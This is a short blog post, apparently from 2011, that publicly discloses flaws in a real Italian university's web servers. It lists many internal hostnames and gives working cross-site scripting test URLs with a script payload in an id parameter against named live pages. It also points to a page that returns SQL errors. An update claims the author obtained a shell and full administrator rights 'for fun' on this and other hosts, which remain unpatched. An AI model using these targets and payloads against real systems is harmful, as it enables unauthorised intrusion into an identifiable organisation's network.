pro(re)gress

ns.unisannio.it mail.unisannio.it www.unisannio.it ftp.unisannio.it nosferatu.unisannio.it medusa.unisannio.it hydra.ing.unisannio.it proxy.unisannio.it webmail.unisannio.it gw-0.unisannio.it wwwsci.unisannio.it wwwlavoro.unisannio.it wwwdases.unisannio.it wwwdsga.unisannio.it wwwdsba.unisannio.it wwwstat.unisannio.it wwwsea.unisannio.it wwwding.unisannio.it web.ing.unisannio.it virgilio.ing.unisannio.it wheel.ing.unisannio.it caudina.ing.unisannio.it serg.ing.unisannio.it russo.ing.unisannio.it contabile.ing.unisannio.it opac.ing.unisannio.it sgr.ing.unisannio.it serglink.ing.unisannio.it ponza.ing.unisannio.it deal.ing.unisannio.it gvp.ing.unisannio.it contabile.ing.unisannio.it canfora.ing.unisannio.it paradise.ing.unisannio.it lisus1.ing.unisannio.it lisus2.ing.unisannio.it lisus3.ing.unisannio.it leus.ing.unisannio.it leus-ws1.ing.unisannio.it leus-ws2.ing.unisannio.it lesim1.ing.unisannio.it lesim2.ing.unisannio.it lesim3.ing.unisannio.it...

There are several other bugs and It's always the same code. A few samples. http://www.unisannio.it/notizie/comunicati/viscom.php?id=%3Cscript%3Ealert%281%29;%3C/script%3E http://www.unisannio.it/notizie/semconv/viscom.php?id=%3Cscript%3Ealert%281%29;%3C/script%3E http://www.unisannio.it/notizie/seminari/viscom.php?id= http://ing.unisannio.it/ects/scheda.php?1 - sql errors -29/12/2011 Update- After a 10 minutes spent on the website for fun I've tested that it's possible to run a shell  without a lot of problems, the system can be compromised and it's possible to get full administration privileges. The same goes for a few other boxes in the network ... no one is going to patch those computer even after mailing them about the problem.